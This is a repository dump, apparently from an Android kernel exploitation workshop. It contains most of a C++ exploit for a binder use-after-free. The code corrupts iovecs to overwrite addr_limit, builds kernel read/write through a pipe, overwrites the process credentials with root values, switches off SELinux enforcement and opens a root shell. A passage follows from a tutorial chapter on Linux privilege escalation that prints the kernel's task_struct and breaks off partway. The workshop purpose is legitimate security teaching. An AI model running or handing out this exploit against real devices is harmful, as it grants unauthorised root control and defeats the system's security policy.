436 | if (nBytesWritten != sizeof(junkSocketData)) {
437 | ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx\n", nBytesWritten, sizeof(junkSocketData));
438 | exit(EXIT_FAILURE);
439 | }
440 |
441 | //
442 | // Write junk data to the socket so that when recvmsg is
443 | // called, it process the first valid iovec with this junk
444 | // data and then blocks for the rest of the incoming socket data
445 | //
446 |
447 | INFO("[+] Setting up iovecs\n");
448 |
449 | //
450 | // We want to block after processing the iovec at IOVEC_WQ_INDEX,
451 | // because then, we can trigger the unlink operation and get the
452 | // next iovecs corrupted to gain scoped write.
453 | //
454 |
455 | mmap4gbAlignedPage();
456 |
457 | iovecStack[IOVEC_WQ_INDEX].iov_base = m_4gb_aligned_page;
458 | iovecStack[IOVEC_WQ_INDEX].iov_len = 1;
459 | iovecStack[IOVEC_WQ_INDEX + 1].iov_base = (void *) 0x41414141;
460 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8;
461 | iovecStack[IOVEC_WQ_INDEX + 2].iov_base = (void *) 0x42424242;
462 | iovecStack[IOVEC_WQ_INDEX + 2].iov_len = 0x8;
463 |
464 | //
465 | // Prepare the data buffer that will be written to socket
466 | //
467 |
468 | //
469 | // Setting addr_limit to 0xFFFFFFFFFFFFFFFF in arm64
470 | // will result in crash because of a check in do_page_fault
471 | // However, x86_64 does not have this check. But it's better
472 | // to set it to 0xFFFFFFFFFFFFFFFE so that this same code can
473 | // be used in arm64 as well.
474 | //
475 |
476 | static uint64_t finalSocketData[] = {
477 | 0x1, // iovecStack[IOVEC_WQ_INDEX].iov_len
478 | 0x41414141, // iovecStack[IOVEC_WQ_INDEX + 1].iov_base
479 | 0x8 + 0x8 + 0x8 + 0x8, // iovecStack[IOVEC_WQ_INDEX + 1].iov_len
480 | (uint64_t) ((uint8_t *) m_task_struct +
481 | OFFSET_TASK_STRUCT_ADDR_LIMIT), // iovecStack[IOVEC_WQ_INDEX + 2].iov_base
482 | 0xFFFFFFFFFFFFFFFE // addr_limit value
483 | };
484 |
485 | //
486 | // Prepare the message
487 | //
488 |
489 | message.msg_iov = iovecStack;
490 | message.msg_iovlen = IOVEC_COUNT;
491 |
492 | //
493 | // Now link the poll wait queue to binder thread wait queue
494 | //
495 |
496 | linkEventPollWaitQueueToBinderThreadWaitQueue();
497 |
498 | //
499 | // We should trigger the unlink operation when we
500 | // have the binder_thread reallocated as iovec array
501 | //
502 |
503 | //
504 | // Now fork
505 | //
506 |
507 | pid_t childPid = fork();
508 |
509 | if (childPid == 0) {
510 | //
511 | // child process
512 | //
513 |
514 | //
515 | // There is a race window between the unlink and blocking
516 | // in writev, so sleep for a while to ensure that we are
517 | // blocking in writev before the unlink happens
518 | //
519 |
520 | sleep(2);
521 |
522 | //
523 | // Trigger the unlink operation on the reallocated chunk
524 | //
525 |
526 | unlinkEventPollWaitQueueFromBinderThreadWaitQueue();
527 |
528 | //
529 | // Now, at this point, the iovecStack[IOVEC_WQ_INDEX].iov_len
530 | // and iovecStack[IOVEC_WQ_INDEX + 1].iov_base is clobbered
531 | //
532 | // Write rest of the data to the socket so that recvmsg starts
533 | // processing the corrupted iovecs and we get scoped write and
534 | // finally arbitrary write
535 | //
536 |
537 | nBytesWritten = write(sock_fd[1], finalSocketData, sizeof(finalSocketData));
538 |
539 | if (nBytesWritten != sizeof(finalSocketData)) {
540 | ERR("\t[-] write failed. nBytesWritten: 0x%lx, expected: 0x%lx", nBytesWritten, sizeof(finalSocketData));
541 | exit(EXIT_FAILURE);
542 | }
543 |
544 | exit(EXIT_SUCCESS);
545 |
546 | }
547 |
548 | //
549 | // parent process
550 | //
551 |
552 | //
553 | // I have seen some races which hinders the reallocation.
554 | // So, now freeing the binder_thread after fork.
555 | //
556 |
557 | freeBinderThread();
558 |
559 | //
560 | // Reallocate binder_thread as iovec array and
561 | // we need to make sure this recvmsg call blocks.
562 | //
563 | // recvmsg will block after processing a valid iovec at
564 | // iovecStack[IOVEC_WQ_INDEX]
565 | //
566 |
567 | ssize_t nBytesReceived = recvmsg(sock_fd[0], &message, MSG_WAITALL);
568 |
569 | //
570 | // If the corruption was successful, the total bytes received
571 | // should be equal to length of all iovec. This is because there
572 | // are three valid iovec
573 | //
574 |
575 | ssize_t expectedBytesReceived = iovecStack[IOVEC_WQ_INDEX].iov_len +
576 | iovecStack[IOVEC_WQ_INDEX + 1].iov_len +
577 | iovecStack[IOVEC_WQ_INDEX + 2].iov_len;
578 |
579 | if (nBytesReceived != expectedBytesReceived) {
580 | ERR("\t[-] recvmsg failed. nBytesReceived: 0x%lx, expected: 0x%lx\n", nBytesReceived, expectedBytesReceived);
581 | exit(EXIT_FAILURE);
582 | }
583 |
584 | //
585 | // Wait for the child process to exit
586 | //
587 |
588 | wait(nullptr);
589 | }
590 |
591 |
592 | /**
593 | * Initialize kernel read write pipe
594 | */
595 | void BinderUaF::initKernelReadWritePipe() {
596 | //
597 | // Setup the pipe that will be used for
598 | // arbitrary kernel read/write primitive
599 | //
600 |
601 | INFO("[+] Setting up pipe for kernel read/write\n");
602 |
603 | if (pipe(m_kernel_rw_pipe_fd) == -1) {
604 | ERR("\t[-] Unable to create pipe\n");
605 | exit(EXIT_FAILURE);
606 | } else {
607 | INFO("\t[*] Pipe created successfully\n");
608 | }
609 | }
610 |
611 |
612 | /**
613 | * Verify arbitrary read write primitive
614 | */
615 | void BinderUaF::verifyArbitraryReadWrite() {
616 | INFO("[+] Verifying arbitrary read/write primitive\n");
617 |
618 | //
619 | // Get the current pid
620 | //
621 |
622 | pid_t currentPid = getpid();
623 |
624 | //
625 | // Expected pid from task_struct
626 | //
627 |
628 | pid_t expectedPid = 0;
629 |
630 | //
631 | // Now read the pid from the task_struct
632 | //
633 |
634 | expectedPid = kReadDword(m_pidAddress);
635 |
636 | INFO("\t[*] currentPid: %d\n", currentPid);
637 | INFO("\t[*] expectedPid: %d\n", expectedPid);
638 |
639 | if (currentPid != expectedPid) {
640 | ERR("\t[-] Arbitrary read/write failed\n");
641 | exit(EXIT_FAILURE);
642 | } else {
643 | INFO("\t[*] Arbitrary read/write successful\n");
644 | }
645 | }
646 |
647 |
648 | /**
649 | * Read from arbitrary address
650 | *
651 | * @param Address: address from where to read
652 | * @param Length: how much to read
653 | * @param uBuffer: output user buffer
654 | */
655 | void BinderUaF::kRead(void *Address, size_t Length, void *uBuffer) {
656 | //
657 | // Once the addr_limit is clobbered, it's
658 | // easy to gain arbitrary read primitive
659 | //
660 |
661 | //
662 | // Write the data from kernel address to the fd
663 | //
664 |
665 | ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], Address, Length);
666 |
667 | if ((size_t) nBytesWritten != Length) {
668 | ERR("[-] Failed to write data from kernel: %p", Address);
669 | exit(EXIT_FAILURE);
670 | }
671 |
672 | ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], uBuffer, Length);
673 |
674 | if ((size_t) nBytesRead != Length) {
675 | ERR("[-] Failed to read data from kernel: %p", Address);
676 | exit(EXIT_FAILURE);
677 | }
678 |
679 | }
680 |
681 |
682 | /**
683 | * Write to arbitrary address
684 | *
685 | * @param Address: address where to write
686 | * @param Length: how much to write
687 | * @param uBuffer: input user buffer
688 | */
689 | void BinderUaF::kWrite(void *Address, size_t Length, void *uBuffer) {
690 | //
691 | // Write the data from kernel address to the fd
692 | //
693 |
694 | ssize_t nBytesWritten = write(m_kernel_rw_pipe_fd[1], uBuffer, Length);
695 |
696 | if ((size_t) nBytesWritten != Length) {
697 | ERR("[-] Failed to write data from user: %p", Address);
698 | exit(EXIT_FAILURE);
699 | }
700 |
701 | ssize_t nBytesRead = read(m_kernel_rw_pipe_fd[0], Address, Length);
702 |
703 | if ((size_t) nBytesRead != Length) {
704 | ERR("[-] Failed to write data to kernel: %p", Address);
705 | exit(EXIT_FAILURE);
706 | }
707 |
708 | }
709 |
710 |
711 | /**
712 | * Read qword from arbitrary address
713 | *
714 | * @param Address: address from where to read
715 | * @return: qword
716 | */
717 | uint64_t BinderUaF::kReadQword(void *Address) {
718 | uint64_t buffer = 0;
719 |
720 | kRead(Address, sizeof(buffer), &buffer);
721 | return buffer;
722 | }
723 |
724 |
725 | /**
726 | * Read dword from arbitrary address
727 | *
728 | * @param Address: address from where to read
729 | * @return: dword
730 | */
731 | uint32_t BinderUaF::kReadDword(void *Address) {
732 | uint32_t buffer = 0;
733 |
734 | kRead(Address, sizeof(buffer), &buffer);
735 | return buffer;
736 | }
737 |
738 |
739 | /**
740 | * Write dword to arbitrary address
741 | *
742 | * @param Address: address where to write
743 | * @param Value: value to write
744 | */
745 | void BinderUaF::kWriteDword(void *Address, uint32_t Value) {
746 | kWrite(Address, sizeof(Value), &Value);
747 | }
748 |
749 |
750 | /**
751 | * Write qword to arbitrary address
752 | *
753 | * @param Address: address where to write
754 | * @param Value: value to write
755 | */
756 | void BinderUaF::kWriteQword(void *Address, uint64_t Value) {
757 | kWrite(Address, sizeof(Value), &Value);
758 | }
759 |
760 |
761 | /**
762 | * Patch cred data structure
763 | */
764 | void BinderUaF::patchCred() {
765 | //
766 | // To achieve root we need to patch the cred structure
767 | //
768 | // Pointer to cred is stored in task_struct
769 | //
770 |
771 | //
772 | // To root basically we need to do this:
773 | //
774 | // commit_cred(prepare_kernel_cred(0));
775 | //
776 |
777 | //
778 | // struct cred init_cred = {
779 | // .usage = ATOMIC_INIT(4),
780 | // .uid = GLOBAL_ROOT_UID,
781 | // .gid = GLOBAL_ROOT_GID,
782 | // .suid = GLOBAL_ROOT_UID,
783 | // .sgid = GLOBAL_ROOT_GID,
784 | // .euid = GLOBAL_ROOT_UID,
785 | // .egid = GLOBAL_ROOT_GID,
786 | // .fsuid = GLOBAL_ROOT_UID,
787 | // .fsgid = GLOBAL_ROOT_GID,
788 | // .securebits = SECUREBITS_DEFAULT,
789 | // .cap_inheritable = CAP_EMPTY_SET,
790 | // .cap_permitted = CAP_FULL_SET,
791 | // .cap_effective = CAP_FULL_SET,
792 | // .cap_bset = CAP_FULL_SET,
793 | // .user = INIT_USER,
794 | // .user_ns = &init_user_ns,
795 | // .group_info = &init_groups,
796 | // };
797 |
798 | //
799 | // Read the address of cred from task_struct
800 | //
801 |
802 | INFO("[+] Patching current task cred members\n");
803 |
804 | m_cred = (struct cred *) kReadQword(m_credAddress);
805 |
806 | if (!m_cred) {
807 | ERR("\t[-] Failed to read cred: %p", m_credAddress);
808 | exit(EXIT_FAILURE);
809 | }
810 |
811 | INFO("\t[*] cred: %p\n", m_cred);
812 |
813 | //
814 | // Now patch the cred structure members
815 | //
816 |
817 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, uid)), GLOBAL_ROOT_UID);
818 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, gid)), GLOBAL_ROOT_GID);
819 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, suid)), GLOBAL_ROOT_UID);
820 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, sgid)), GLOBAL_ROOT_GID);
821 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, euid)), GLOBAL_ROOT_UID);
822 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, egid)), GLOBAL_ROOT_GID);
823 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsuid)), GLOBAL_ROOT_UID);
824 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, fsgid)), GLOBAL_ROOT_GID);
825 | kWriteDword((void *) ((uint8_t *) m_cred + offsetof(struct cred, securebits)), SECUREBITS_DEFAULT);
826 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_inheritable)), CAP_EMPTY_SET);
827 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_permitted)), CAP_FULL_SET);
828 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_effective)), CAP_FULL_SET);
829 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_bset)), CAP_FULL_SET);
830 | kWriteQword((void *) ((uint8_t *) m_cred + offsetof(struct cred, cap_ambient)), CAP_EMPTY_SET);
831 | }
832 |
833 |
834 | /**
835 | * Disable selinux enforcing globally
836 | */
837 | void BinderUaF::disableSELinuxEnforcing() {
838 | //
839 | // Check if selinux enforcing is enabled
840 | //
841 |
842 | INFO("[+] Verifying if selinux enforcing is enabled\n");
843 |
844 | //
845 | // selinux_enforcing is a global variable which
846 | // control whether selinux is enabled or disabled
847 | //
848 | // By default selinux_enforcing is set to 0x1 which
849 | // means it's globally enabled
850 | //
851 |
852 | //
853 | // task_struct has a pointer to global data structure nsproxy,
854 | // reading that pointer will allow us to break KASLR
855 | //
856 |
857 | ptrdiff_t nsProxy = kReadQword(m_nsproxyAddress);
858 |
859 | if (!nsProxy) {
860 | ERR("\t[-] Failed to read nsproxy: %p", m_nsproxyAddress);
861 | exit(EXIT_FAILURE);
862 | }
863 |
864 | ptrdiff_t kernelBase = nsProxy - SYMBOL_OFFSET_init_nsproxy;
865 | auto selinuxEnforcing = (void *) (kernelBase + SYMBOL_OFFSET_selinux_enforcing);
866 |
867 | INFO("\t[*] nsproxy: 0x%lx\n", nsProxy);
868 | INFO("\t[*] Kernel base: 0x%lx\n", kernelBase);
869 | INFO("\t[*] selinux_enforcing: %p\n", selinuxEnforcing);
870 |
871 | int selinuxEnabled = kReadDword(selinuxEnforcing);
872 |
873 | if (!selinuxEnabled) {
874 | INFO("\t[*] selinux enforcing is disabled\n");
875 | return;
876 | }
877 |
878 | INFO("\t[*] selinux enforcing is enabled\n");
879 |
880 | //
881 | // Now patch selinux_enforcing
882 | //
883 |
884 | kWriteDword(selinuxEnforcing, 0x0);
885 |
886 | INFO("\t[*] Disabled selinux enforcing\n");
887 | }
888 |
889 |
890 | /**
891 | * Verify if rooting is successful
892 | */
893 | void BinderUaF::verifyRoot() {
894 | INFO("[+] Verifying if rooted\n");
895 |
896 | uid_t realUserId = getuid();
897 |
898 | INFO("\t[*] uid: 0x%x\n", realUserId);
899 |
900 | //
901 | // If the cred patching was successful,
902 | // we should get the uid as 0
903 | //
904 |
905 | if (realUserId != 0) {
906 | ERR("\t[-] Rooting failed\n");
907 | exit(EXIT_FAILURE);
908 | } else {
909 | INFO("\t[*] Rooting successful\n");
910 | }
911 | }
912 |
913 |
914 | /**
915 | * Spawn root shell
916 | */
917 | void BinderUaF::spawnRootShell() {
918 | //
919 | // Spawn root shell
920 | //
921 |
922 | INFO("[+] Spawning root shell\n");
923 |
924 | system("/bin/sh");
925 | }
926 |
927 |
928 | /**
929 | * Program entry point
930 | *
931 | * @return: success or failure
932 | */
933 | int main() {
934 | auto *binderUaF = new BinderUaF();
935 |
936 | //
937 | // Bind to CPU 0
938 | //
939 |
940 | binderUaF->bindToCPU();
941 |
942 | //
943 | // Leak current task_struct
944 | //
945 |
946 | binderUaF->leakTaskStruct();
947 |
948 | //
949 | // Clobber addr_limit
950 | //
951 |
952 | binderUaF->clobberAddrLimit();
953 |
954 | //
955 | // Initialize pipe to be used for arbitrary read/write
956 | //
957 |
958 | binderUaF->initKernelReadWritePipe();
959 |
960 | //
961 | // Verify arbitrary read/write primitive
962 | //
963 |
964 | binderUaF->verifyArbitraryReadWrite();
965 |
966 | //
967 | // Patch cred structure members
968 | //
969 |
970 | binderUaF->patchCred();
971 |
972 | //
973 | // Disable selinux enforcing
974 | //
975 |
976 | binderUaF->disableSELinuxEnforcing();
977 |
978 | //
979 | // Verify if rooting successful
980 | //
981 |
982 | binderUaF->verifyRoot();
983 |
984 | //
985 | // Spawn root shell
986 | //
987 |
988 | binderUaF->spawnRootShell();
989 |
990 | return EXIT_SUCCESS;
991 | }
--------------------------------------------------------------------------------
/gitbook/chapters/linux-privilege-escalation.md:
--------------------------------------------------------------------------------
1 | # Linux Privilege Escalation
2 |
3 | The end goal of this workshop is to use a **Android** kernel **vulnerability** to achieve privilege escalation i.e `root`. In **Linux** `root` is the super user with `uid=0(root) gid=0(root)` and has all the access rights.
4 |
5 |
6 | ## Light Weight Process {#light-weight-process}
7 |
8 | Linux uses **Light Weight Process** to implement better support multi-threading. Each **light weight process** is assigned a process descriptor called `task_struct` and is defined in `include/linux/sched.h`.
9 |
10 | ```c
11 | struct task_struct {
12 | #ifdef CONFIG_THREAD_INFO_IN_TASK
13 | /*
14 | * For reasons of header soup (see current_thread_info()), this
15 | * must be the first element of task_struct.
16 | */
17 | struct thread_info thread_info;
18 | #endif
19 | /* -1 unrunnable, 0 runnable, >0 stopped: */
20 | volatile long state;
21 |
22 | /*
23 | * This begins the randomizable portion of task_struct. Only
24 | * scheduling-critical items should be added above here.
25 | */
26 | randomized_struct_fields_start
27 |
28 | void *stack;
29 | atomic_t usage;
30 | /* Per task flags (PF_*), defined further below: */
31 | unsigned int flags;
32 | unsigned int ptrace;
33 |
34 | #ifdef CONFIG_SMP
35 | struct llist_node wake_entry;
36 | int on_cpu;
37 | #ifdef CONFIG_THREAD_INFO_IN_TASK
38 | /* Current CPU: */
39 | unsigned int cpu;
40 | #endif
41 | unsigned int wakee_flips;
42 | unsigned long wakee_flip_decay_ts;
43 | struct task_struct *last_wakee;
44 |
45 | int wake_cpu;
46 | #endif
47 | int on_rq;
48 |
49 | int prio;
50 | int static_prio;
51 | int normal_prio;
52 | unsigned int rt_priority;
53 |
54 | const struct sched_class *sched_class;
55 | struct sched_entity se;
56 | struct sched_rt_entity rt;
57 | #ifdef CONFIG_SCHED_WALT
58 | struct ravg ravg;
59 | /*
60 | * 'init_load_pct' represents the initial task load assigned to children
61 | * of this task
62 | */
63 | u32 init_load_pct;
64 | u64 last_sleep_ts;
65 | #endif
66 |
67 | #ifdef CONFIG_CGROUP_SCHED
68 | struct task_group *sched_task_group;
69 | #endif
70 | struct sched_dl_entity dl;
71 |
72 | #ifdef CONFIG_PREEMPT_NOTIFIERS
73 | /* List of struct preempt_notifier: */
74 | struct hlist_head preempt_notifiers;
75 | #endif
76 |
77 | #ifdef CONFIG_BLK_DEV_IO_TRACE
78 | unsigned int btrace_seq;
79 | #endif
80 |
81 | unsigned int policy;
82 | int nr_cpus_allowed;
83 | cpumask_t cpus_allowed;
84 |
85 | #ifdef CONFIG_PREEMPT_RCU
86 | int rcu_read_lock_nesting;
87 | union rcu_special rcu_read_unlock_special;
88 | struct list_head rcu_node_entry;
89 | struct rcu_node *rcu_blocked_node;
90 | #endif /* #ifdef CONFIG_PREEMPT_RCU */
91 |
92 | #ifdef CONFIG_TASKS_RCU
93 | unsigned long rcu_tasks_nvcsw;
94 | u8 rcu_tasks_holdout;
95 | u8 rcu_tasks_idx;
96 | int rcu_tasks_idle_cpu;
97 | struct list_head rcu_tasks_holdout_list;
98 | #endif /* #ifdef CONFIG_TASKS_RCU */
99 |
100 | struct sched_info sched_info;
101 |
102 | struct list_head tasks;
103 | #ifdef CONFIG_SMP
104 | struct plist_node pushable_tasks;
105 | struct rb_node pushable_dl_tasks;
106 | #endif
107 |
108 | struct mm_struct *mm;
109 | struct mm_struct *active_mm;
110 |
111 | /* Per-thread vma caching: */
112 | struct vmacache vmacache;
113 |
114 | #ifdef SPLIT_RSS_COUNTING
115 | struct task_rss_stat rss_stat;
116 | #endif
117 | int exit_state;
118 | int exit_code;
119 | int exit_signal;
120 | /* The signal sent when the parent dies: */
121 | int pdeath_signal;
122 | /* JOBCTL_*, siglock protected: */
123 | unsigned long jobctl;
124 |
125 | /* Used for emulating ABI behavior of previous Linux versions: */
126 | unsigned int personality;
127 |
128 | /* Scheduler bits, serialized by scheduler locks: */
129 | unsigned sched_reset_on_fork:1;
130 | unsigned sched_contributes_to_load:1;
131 | unsigned sched_migrated:1;
132 | unsigned sched_remote_wakeup:1;
133 | #ifdef CONFIG_PSI
134 | unsigned sched_psi_wake_requeue:1;
135 | #endif
136 |
137 | /* Force alignment to the next boundary: */
138 | unsigned :0;
139 |
140 | /* Unserialized, strictly 'current' */
141 |
142 | /* Bit to tell LSMs we're in execve(): */
143 | unsigned in_execve:1;
144 | unsigned in_iowait:1;
145 | #ifndef TIF_RESTORE_SIGMASK
146 | unsigned restore_sigmask:1;
147 | #endif
148 | #ifdef CONFIG_MEMCG
149 | unsigned memcg_may_oom:1;
150 | #ifndef CONFIG_SLOB
151 | unsigned memcg_kmem_skip_account:1;
152 | #endif
153 | #endif
154 | #ifdef CONFIG_COMPAT_BRK
155 | unsigned brk_randomized:1;
156 | #endif
157 | #ifdef CONFIG_CGROUPS
158 | /* disallow userland-initiated cgroup migration */
159 | unsigned no_cgroup_migration:1;
160 | #endif
161 |
162 | unsigned long atomic_flags; /* Flags requiring atomic access. */
163 |
164 | struct restart_block restart_block;
165 |
166 | pid_t pid;
167 | pid_t tgid;
168 |
169 | #ifdef CONFIG_CC_STACKPROTECTOR
170 | /* Canary value for the -fstack-protector GCC feature: */
171 | unsigned long stack_canary;
172 | #endif
173 | /*
174 | * Pointers to the (original) parent process, youngest child, younger sibling,
175 | * older sibling, respectively. (p->father can be replaced with
176 | * p->real_parent->pid)
177 | */
178 |
179 | /* Real parent process: */
180 | struct task_struct __rcu *real_parent;
181 |
182 | /* Recipient of SIGCHLD, wait4() reports: */
183 | struct task_struct __rcu *parent;
184 |
185 | /*
186 | * Children/sibling form the list of natural children:
187 | */
188 | struct list_head children;
189 | struct list_head sibling;
190 | struct task_struct *group_leader;
191 |
192 | /*
193 | * 'ptraced' is the list of tasks this task is using ptrace() on.
194 | *
195 | * This includes both natural children and PTRACE_ATTACH targets.
196 | * 'ptrace_entry' is this task's link on the p->parent->ptraced list.
197 | */
198 | struct list_head ptraced;
199 | struct list_head ptrace_entry;
200 |
201 | /* PID/PID hash table linkage. */
202 | struct pid_link pids[PIDTYPE_MAX];
203 | struct list_head thread_group;
204 | struct list_head thread_node;
205 |
206 | struct completion *vfork_done;
207 |
208 | /* CLONE_CHILD_SETTID: */
209 | int __user *set_child_tid;
210 |
211 | /* CLONE_CHILD_CLEARTID: */
212 | int __user *clear_child_tid;
213 |
214 | u64 utime;
215 | u64 stime;
216 | #ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
217 | u64 utimescaled;
218 | u64 stimescaled;
219 | #endif
220 | u64 gtime;
221 | #ifdef CONFIG_CPU_FREQ_TIMES
222 | u64 *time_in_state;
223 | unsigned int max_state;
224 | #endif
225 | struct prev_cputime prev_cputime;
226 | #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
227 | struct vtime vtime;
228 | #endif
229 |
230 | #ifdef CONFIG_NO_HZ_FULL
231 | atomic_t tick_dep_mask;
232 | #endif
233 | /* Context switch counts: */
234 | unsigned long nvcsw;
235 | unsigned long nivcsw;
236 |
237 | /* Monotonic time in nsecs: */
238 | u64 start_time;
239 |
240 | /* Boot based time in nsecs: */
241 | u64 real_start_time;
242 |
243 | /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
244 | unsigned long min_flt;
245 | unsigned long maj_flt;
246 |
247 | #ifdef CONFIG_POSIX_TIMERS
248 | struct task_cputime cputime_expires;
249 | struct list_head cpu_timers[3];
250 | #endif
251 |
252 | /* Process credentials: */
253 |
254 | /* Tracer's credentials at attach: */
255 | const struct cred __rcu *ptracer_cred;
256 |
257 | /* Objective and real subjective task credentials (COW): */
258 | const struct cred __rcu *real_cred;
259 |
260 | /* Effective (overridable) subjective task credentials (COW): */
261 | const struct cred __rcu *cred;
262 |
263 | /*
264 | * executable name, excluding path.
265 | *
266 | * - normally initialized setup_new_exec()
267 | * - access it with [gs]et_task_comm()
268 | * - lock it with task_lock()
269 | */
270 | char comm[TASK_COMM_LEN];
271 |
272 | struct nameidata *nameidata;
273 |
274 | #ifdef CONFIG_SYSVIPC
275 | struct sysv_sem sysvsem;
276 | struct sysv_shm sysvshm;
277 | #endif
278 | #ifdef CONFIG_DETECT_HUNG_TASK
279 | unsigned long last_switch_count;
280 | #endif
281 | /* Filesystem information: */
282 | struct fs_struct *fs;
283 |
284 | /* Open file information: */
285 | struct files_struct *files;
286 |
287 | /* Namespaces: */
288 | struct nsproxy *nsproxy;
289 |
290 | /* Signal handlers: */
291 | struct signal_struct *signal;
292 | struct sighand_struct *sighand;
293 | sigset_t blocked;
294 | sigset_t real_blocked;
295 | /* Restored if set_restore_sigmask() was used: */
296 | sigset_t saved_sigmask;
297 | struct sigpending pending;
298 | unsigned long sas_ss_sp;
299 | size_t sas_ss_size;
300 | unsigned int sas_ss_flags;
301 |
302 | struct callback_head *task_works;
303 |
304 | struct audit_context *audit_context;
305 | #ifdef CONFIG_AUDITSYSCALL
306 | kuid_t loginuid;
307 | unsigned int sessionid;
308 | #endif
309 | struct seccomp seccomp;
310 |
311 | /* Thread group tracking: */
312 | u32 parent_exec_id;
313 | u32 self_exec_id;
314 |
315 | /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
316 | spinlock_t alloc_lock;
317 |
318 | /* Protection of the PI data structures: */
319 | raw_spinlock_t pi_lock;
320 |
321 | struct wake_q_node wake_q;
322 |
323 | #ifdef CONFIG_RT_MUTEXES
324 | /* PI waiters blocked on a rt_mutex held by this task: */
325 | struct rb_root_cached pi_waiters;
326 | /* Updated under owner's pi_lock and rq lock */
327 | struct task_struct *pi_top_task;
328 | /* Deadlock detection and priority inheritance handling: */
329 | struct rt_mutex_waiter *pi_blocked_on;
330 | #endif
331 |
332 | #ifdef CONFIG_DEBUG_MUTEXES
333 | /* Mutex deadlock detection: */
334 | struct mutex_waiter *blocked_on;
335 | #endif
336 |
337 | #ifdef CONFIG_TRACE_IRQFLAGS
338 | unsigned int irq_events;
339 | unsigned long hardirq_enable_ip;
340 | unsigned long hardirq_disable_ip;
341 | unsigned int hardirq_enable_event;
342 | unsigned int hardirq_disable_event;
343 | int hardirqs_enabled;
344 | int hardirq_context;
345 | unsigned long softirq_disable_ip;
346 | unsigned long softirq_enable_ip;
347 | unsigned int softirq_disable_event;
348 | unsigned int softirq_enable_event;
349 | int softirqs_enabled;
350 | int softirq_context;
351 | #endif
352 |
353 | #ifdef CONFIG_LOCKDEP
354 | # define MAX_LOCK_DEPTH 48UL
355 | u64 curr_chain_key;
356 | int lockdep_depth;
357 | unsigned int lockdep_recursion;
358 | struct held_lock held_locks[MAX_LOCK_DEPTH];
359 | #endif
360 |
361 | #ifdef CONFIG_LOCKDEP_CROSSRELEASE
362 | #define MAX_XHLOCKS_NR 64UL
363 | struct hist_lock *xhlocks; /* Crossrelease history locks */
364 | unsigned int xhlock_idx;
365 | /* For restoring at history boundaries */
366 | unsigned int xhlock_idx_hist[XHLOCK_CTX_NR];
367 | unsigned int hist_id;
368 | /* For overwrite check at each context exit */
369 | unsigned int hist_id_save[XHLOCK_CTX_NR];
370 | #endif
371 |
372 | #ifdef CONFIG_UBSAN
373 | unsigned int in_ubsan;
374 | #endif
375 |
376 | /* Journalling filesystem info: */
377 | void *journal_info;
378 |
379 | /* Stacked block device info: */
380 | struct bio_list *bio_list;
381 |
382 | #ifdef CONFIG_BLOCK
383 | /* Stack plugging: */
384 | struct blk_plug *plug;
385 | #endif
386 |
387 | /* VM state: */
388 | struct reclaim_state *reclaim_state;
389 |
390 | struct backing_dev_info *backing_dev_info;
391 |
392 | struct io_context *io_context;
393 |
394 | /* Ptrace state: */
395 | unsigned long ptrace_message;
396 | siginfo_t *last_siginfo;
397 |
398 | struct task_io_accounting ioac;
399 | #ifdef CONFIG_PSI
400 | /* Pressure stall state */
401 | unsigned int psi_flags;
402 | #endif
403 | #ifdef CONFIG_TASK_XACCT
404 | /* Accumulated RSS usage: */
405 | u64 acct_rss_mem1;
406 | /* Accumulated virtual memory usage: */
407 | u64 acct_vm_mem1;
408 | /* stime + utime since last update: */
409 | u64 acct_timexpd;
410 | #endif
411 | #ifdef CONFIG_CPUSETS
412 | /* Protected by ->alloc_lock: */
413 | nodemask_t mems_allowed;
414 | /* Seqence number to catch updates: */
415 | seqcount_t mems_allowed_seq;
416 | int cpuset_mem_spread_rotor;
417 | int cpuset_slab_spread_rotor;
418 | #endif
419 | #ifdef CONFIG_CGROUPS
420 | /* Control Group info protected by css_set_lock: */
421 | struct css_set __rcu *cgroups;
422 | /* cg_list protected by css_set_lock and tsk->alloc_lock: */
423 | struct list_head cg_list;
424 | #endif
425 | #ifdef CONFIG_INTEL_RDT
426 | u32 closid;
427 | u32 rmid;
428 | #endif
429 | #ifdef CONFIG_FUTEX
430 | struct robust_list_head __user *robust_list;
431 | #ifdef CONFIG_COMPAT
432 | struct compat_robust_list_head __user *compat_robust_list;
433 | #endif
434 | struct list_head pi_state_list;
435 | struct futex_pi_state *pi_state_cache;
436 | #endif
437 | #ifdef CONFIG_PERF_EVENTS
438 | struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];
439 | struct mutex perf_event_mutex;
440 | struct list_head perf_event_list;
441 | #endif
442 | #ifdef CONFIG_DEBUG_PREEMPT
443 | unsigned long preempt_disable_ip;
444 | #endif
445 | #ifdef CONFIG_NUMA
446 | /* Protected by alloc_lock: */
447 | struct mempolicy *mempolicy;
448 | short il_prev;
449 | short pref_node_fork;
450 | #endif
451 | #ifdef CONFIG_NUMA_BALANCING
452 | int numa_scan_seq;
453 | unsigned int numa_scan_period;
454 | unsigned int numa_scan_period_max;
455 | int numa_preferred_nid;
456 | unsigned long numa_migrate_retry;
457 | /* Migration stamp: */
458 | u64 node_stamp;
459 | u64 last_task_numa_placement;
460 | u64 last_sum_exec_runtime;
461 | struct callback_head numa_work;
462 |
463 | struct list_head numa_entry;
464 | struct numa_group *numa_group;
465 |
466 | /*
467 | * numa_faults is an array split into four regions:
